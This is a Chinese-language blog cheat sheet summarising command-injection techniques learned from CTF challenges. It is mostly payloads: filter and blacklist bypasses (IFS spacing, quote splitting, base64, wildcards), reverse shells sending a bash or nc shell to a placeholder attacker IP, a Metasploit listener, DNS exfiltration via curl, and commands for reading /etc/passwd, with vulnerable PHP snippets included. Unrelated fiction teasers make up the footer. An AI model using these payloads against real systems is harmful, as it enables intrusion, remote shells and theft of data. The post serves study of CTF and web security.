命令执行总结

本文是学习命令执行过程中做的一些题目以及读过的文章进行整理总结,主要是方便接下来进一步的学习,如有错误之处,欢迎指出。

一、php调用外部程序常用的函数:

  • system()—执行shell命令也就是向dos发送一条指令。
  • shell_exec() — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
  • exec() —执行外部程序。
  • passthru() — 执行外部程序并且显示原始输出。

二、java命令执行

在Java SE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行特定的字符串命令。

三、造成命令执行的原因

  • 代码过滤不严格--如使用system函数调用封装在二进制文件中的核心代码,如system("/bin/program --arg $arg");
  • 系统的漏洞造成命令注入--bash破壳漏洞(CVE-2014-6271)
  • 调用的第三方组件存在代码执行漏洞--WordPress(ImageMagick组件), JAVA(struts2),ThinkPHP命令执行

四、命令执行的危害

  • 继承Web服务程序的权限去执行系统命令或读写文件
  • 反弹shell
  • 控制整个网站甚至控制服务器
  • 进一步内网渗透

五、绕过技巧

1. 绕过空格
<  --  重定向,如cat<flag.php
<>  --  重定向,如cat<>flag.php
%09  --  需要php环境,如cat%09flag.php
${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
2. 命令分隔
%0a  --  换行符,需要php环境
%0d  --  回车符,需要php环境
;  --  在 shell 中,担任”连续指令”功能的符号就是”分号”
&  --  不管第一条命令成功与否,都会执行第二条命令
&&  --  第一条命令成功,第二条才会执行
|  --  第一条命令的结果,作为第二条命令的输入
||  --  第一条命令失败,第二条才会执行
3. 命令终结符
%00  --  需要php环境
%20#  --  需要php环境
4. 黑名单绕过
  • 拼接
a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}{d}
  • 借他人之手来获取字符
如果过滤了<>?,可以从已有的文件或环境变量中获取自己需要的字符。
如获取 < 符 -- echo `expr substr $(awk NR==1 test.php) 1 1`
  • base64编码
echo "d2hvYW1p"|base64 -d
  • 单引号,双引号
ca''t te""st.php
  • 反斜杠
cat te\st.php
  • 通配符*与斜杠组合绕过
/bin/sh = /b?n/?h
  • 使用反引号绕过
$blacklist = [
      'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed', 'apt', 'yum', 'curl', 'wget', 'perl',
      'python', 'zip', 'tar', 'php', 'ruby', 'kill', 'passwd', 'shadow', 'root', 'z','dir', 'dd', 'df', 'du', 'free','tempfile',
      'touch', 'tee', 'sha', 'x64', 'g','xargs', 'PATH','$0', 'proc', '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
        ];
...(省略部分代码)
foreach($blacklist as $keyword) {
       if(strstr($ip, $keyword)) {
       return "{$keyword} not allowed";
...(省略部分代码)
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);

绕过:

ip=`tac fla*` 
5. 绕过ip中的句点

网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP

6. win下执行bat
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

执行.bat文件的时候,利用%1a,可以绕过过滤执行命令.

dir=../ %1a whoami

六、无回显命令执行(bugku题目)

  • 利用vps,用nc进行弹shell(反弹shell其他姿势另外文章再说)
攻击机:nc -l -p attackport -vvv
靶机:|bash -i >& /dev/tcp/attackip/attackport 0>&1
靶机:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackip attackport >/tmp/f
  • 利用msf反向回连
攻击机msf监听:
  use exploit/multi/handler 
  set payload linux/armle/shell/reverse_tcp 
  set lport attackport
  set lhost attackip
  set exitonsession false 
  exploit -j

靶机:|bash -i >& /dev/tcp/attackip/attackport 0>&1

  • 利用DNS管道解析(还没实际操作过)
    网上有一个在线平台:admin.dnslog.link,注册一个账号后会分配一个子域名可以利用,已经开源,可以自己搭建。
    利用方式如下:
|curl `whoami`.xxxx.xxx(子域名)

这样就会在利用网址看到反弹结果。这里解释一下\whoami\因为`反引号在linux下是执行命令的特殊符号,原理请见:DNS隧道技术解析

七、突破长度限制

#这里是突破七个字
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>

思路:利用重定向符 > 生成文件,1>1,a>1都可以生成文件1,即使后者会报错。然后利用 ls -t 根据生成文件的时间将文件名合并成一句命令,最后通过 sh 命令执行命令下载shell.php。
这里可以看一个题目的writeup
关于长度限制的还有HITCON2015跟2017的题目可以学习。

八、各种读文件命令

cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

九、歪门邪道

echo /*/*/*flag*   -- 枚举文件和目录
sort /app/class/flag.php -- 从最后一行开始读取文件
find -- 列出当前目录下的文件以及子目录所有文件
&{grep,-nrw,.} -- 递归读取当前目录下的文件以及子目录所有文件
{cat,/etc/passwd}
curl file:///etc/passwd
strings /etc/passwd
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd

十、工具

一个FUZZing工具:shelling

Link:

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,565评论 6 479
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,021评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,003评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,015评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,020评论 5 370
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,856评论 1 283
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,178评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,824评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,264评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,788评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,913评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,535评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,130评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,102评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,334评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,298评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,622评论 2 343

推荐阅读更多精彩内容